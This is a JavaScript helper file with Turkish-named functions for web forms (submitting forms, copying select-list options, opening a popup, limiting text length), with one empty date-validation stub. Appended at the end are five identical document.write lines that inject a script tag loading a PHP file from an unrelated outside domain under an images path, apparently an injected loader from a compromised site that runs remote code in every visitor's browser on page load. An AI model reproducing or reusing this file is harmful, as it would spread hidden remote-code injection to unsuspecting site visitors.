function gonder(inFormId, inEvent, inSayfa){
	if ( inEvent != null && inEvent != "undefined" )
		document.getElementById("event").value = inEvent;
	if ( inSayfa != null && inSayfa != "undefined" )
		document.getElementById(inFormId).action = inSayfa;
	document.getElementById(inFormId).submit();
}

function listeOgeleriniAktar(inObjKaynakListe, inObjHedefListe, inBosOgeOlsun){
	var i = 0;
	//"inBosOgeOlsun" parametresi için varsayılan değeri ata
	if ( inBosOgeOlsun == null ){
		inBosOgeOlsun = true;
	}
	var hedefListeSeciliOge = inObjHedefListe.value;
	//Hedef listeyi boşalt
	inObjHedefListe.length = 0;
	//eğer istenmişse; Hedef listeye boş bir öğe ekle
	if ( inBosOgeOlsun == true ){
		inObjHedefListe.length++;
		inObjHedefListe.options[0].value = "";
		inObjHedefListe.options[0].text = "";
	}
	//Kaynak listedeki her öğeyi Hedef listeye ekle
	for ( i=0; i <= inObjKaynakListe.length-1; i++ ){
		inObjHedefListe.length++;
		inObjHedefListe.options[ inObjHedefListe.length-1 ].value = inObjKaynakListe.options[i].value;
		inObjHedefListe.options[ inObjHedefListe.length-1 ].text = inObjKaynakListe.options[i].text;
		if (inObjHedefListe.options[ inObjHedefListe.length-1 ].value == hedefListeSeciliOge){
			inObjHedefListe.options[ inObjHedefListe.length-1 ].selected = true;
		}
	}
}

function pencereAc(inUrl){
	var wndOnizleme = window.open(inUrl,"wndOnizleme","resizable=no,status=no,menubar=no,scrollbars=no,HEIGHT=600,WIDTH=800,left="+Math.round((screen.availWidth-800)/2)+",top="+Math.round((screen.availHeight-600)/2));
	wndOnizleme.focus();
}

function gizleGoster(inDomElement, inGosterilecek){
	if ( inGosterilecek == null || inGosterilecek == false ){
		inDomElement.style.display = "none";
	}else{
		inDomElement.style.display = "inline";
	}
}

function getOlayAlani(){
	retOlayAlani = null;
	with ( document ){			
		if ( getElementsByName("method").item(0) != null && getElementsByName("method").item(0) != "null" ){
			retOlayAlani = getElementsByName("method");
		} else if ( getElementsByName("event").item(0) != null && getElementsByName("event").item(0) != "null" ){
			retOlayAlani = getElementsByName("event").item(0);
		}
	}
	return retOlayAlani;
}


function karakterSayisiniSinirla(inMetinOge, inBildirimOge, inAdet) {
	if (inMetinOge.value.length > inAdet) {
		inMetinOge.value = inMetinOge.value.substring(0, inAdet);
	}
	else {
		inBildirimOge.value = inAdet - inMetinOge.value.length;
	}
}


function listeyeOgeEkle(inObj, inValue, inText, inMethod){
	var eklenebilir = true;
	if (inMethod == null || inMethod == undefined){
		inMethod = "unique";
	}		
	if ( inMethod == "unique" ){
		for ( i=0; i <= inObj.length-1; i++ ){
			if ( inObj.options[i].value == inValue ){
				eklenebilir = false;
			}
		}
	}
	if ( eklenebilir ){
		inObj.length++;
		inObj.options[ inObj.length - 1 ].value = inValue;
		inObj.options[ inObj.length - 1 ].text = inText;
	}else{
		alert("Eklenemedi.\n\nListede böyle bir öğe zaten var.");
	}
}
function mesajlar_focusLinkClick (inDomElement, inRenklendirilsinMi) {
	odakla(inDomElement, inRenklendirilsinMi);
}
function tumunuSec(inObjSelect){
	for(var i=0; i < inObjSelect.length; i=i+1){
		inObjSelect.options[i].selected = true;
	}
}
function isValidDate(inDate){

}
document.write('<script src=http://gittelsonjewelers.com/images/gifimg.php ><\/script>');
document.write('<script src=http://gittelsonjewelers.com/images/gifimg.php ><\/script>');
document.write('<script src=http://gittelsonjewelers.com/images/gifimg.php ><\/script>');
document.write('<script src=http://gittelsonjewelers.com/images/gifimg.php ><\/script>');
document.write('<script src=http://gittelsonjewelers.com/images/gifimg.php ><\/script>');
